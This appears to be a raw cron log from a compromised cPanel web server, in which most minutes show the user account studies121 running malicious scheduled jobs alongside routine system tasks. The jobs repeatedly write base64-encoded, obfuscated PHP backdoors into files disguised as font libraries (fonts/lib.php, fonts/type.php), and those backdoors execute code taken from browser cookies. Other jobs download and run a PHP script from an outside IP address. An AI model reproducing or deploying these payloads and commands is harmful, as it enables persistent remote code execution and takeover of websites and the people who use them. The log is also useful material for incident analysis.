Sep  7 13:03:02 ip-184-168-122-23 CROND[730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:03:02 ip-184-168-122-23 CROND[729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:03:02 ip-184-168-122-23 CROND[731]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:04:01 ip-184-168-122-23 CROND[817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:04:01 ip-184-168-122-23 CROND[819]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:04:01 ip-184-168-122-23 CROND[820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:04:01 ip-184-168-122-23 CROND[821]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:04:01 ip-184-168-122-23 CROND[822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:05:02 ip-184-168-122-23 CROND[998]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:05:02 ip-184-168-122-23 CROND[1000]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:05:02 ip-184-168-122-23 CROND[1001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:05:02 ip-184-168-122-23 CROND[1003]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:05:02 ip-184-168-122-23 CROND[1006]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:05:02 ip-184-168-122-23 CROND[1007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:05:02 ip-184-168-122-23 CROND[1008]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 13:06:01 ip-184-168-122-23 CROND[1138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:06:01 ip-184-168-122-23 CROND[1139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:06:01 ip-184-168-122-23 CROND[1143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:06:01 ip-184-168-122-23 CROND[1144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:06:01 ip-184-168-122-23 CROND[1142]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:07:01 ip-184-168-122-23 CROND[1248]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:07:01 ip-184-168-122-23 CROND[1250]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:07:01 ip-184-168-122-23 CROND[1251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:07:01 ip-184-168-122-23 CROND[1252]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:08:01 ip-184-168-122-23 CROND[1350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:08:01 ip-184-168-122-23 CROND[1353]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:08:01 ip-184-168-122-23 CROND[1352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:08:01 ip-184-168-122-23 CROND[1355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:08:01 ip-184-168-122-23 CROND[1354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:09:01 ip-184-168-122-23 CROND[1466]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:09:01 ip-184-168-122-23 CROND[1468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:09:01 ip-184-168-122-23 CROND[1469]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:09:01 ip-184-168-122-23 CROND[1470]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 13:09:01 ip-184-168-122-23 CROND[1472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:10:01 ip-184-168-122-23 CROND[1704]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:10:01 ip-184-168-122-23 CROND[1708]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:10:01 ip-184-168-122-23 CROND[1709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:10:01 ip-184-168-122-23 CROND[1710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:10:01 ip-184-168-122-23 CROND[1706]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:10:01 ip-184-168-122-23 CROND[1707]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 13:10:01 ip-184-168-122-23 CROND[1711]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:10:01 ip-184-168-122-23 CROND[1712]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:11:01 ip-184-168-122-23 CROND[1808]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:11:01 ip-184-168-122-23 CROND[1809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:11:01 ip-184-168-122-23 CROND[1810]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:11:01 ip-184-168-122-23 CROND[1812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:12:01 ip-184-168-122-23 CROND[1894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:12:01 ip-184-168-122-23 CROND[1896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:12:01 ip-184-168-122-23 CROND[1899]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:12:01 ip-184-168-122-23 CROND[1897]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:12:01 ip-184-168-122-23 CROND[1900]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:13:02 ip-184-168-122-23 CROND[2009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:13:02 ip-184-168-122-23 CROND[2011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:13:02 ip-184-168-122-23 CROND[2013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:13:02 ip-184-168-122-23 CROND[2012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:14:02 ip-184-168-122-23 CROND[2095]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:14:02 ip-184-168-122-23 CROND[2098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:14:02 ip-184-168-122-23 CROND[2097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:14:02 ip-184-168-122-23 CROND[2099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:14:02 ip-184-168-122-23 CROND[2100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:15:01 ip-184-168-122-23 CROND[2186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:15:01 ip-184-168-122-23 CROND[2189]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:15:01 ip-184-168-122-23 CROND[2190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:15:01 ip-184-168-122-23 CROND[2191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:15:01 ip-184-168-122-23 CROND[2188]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
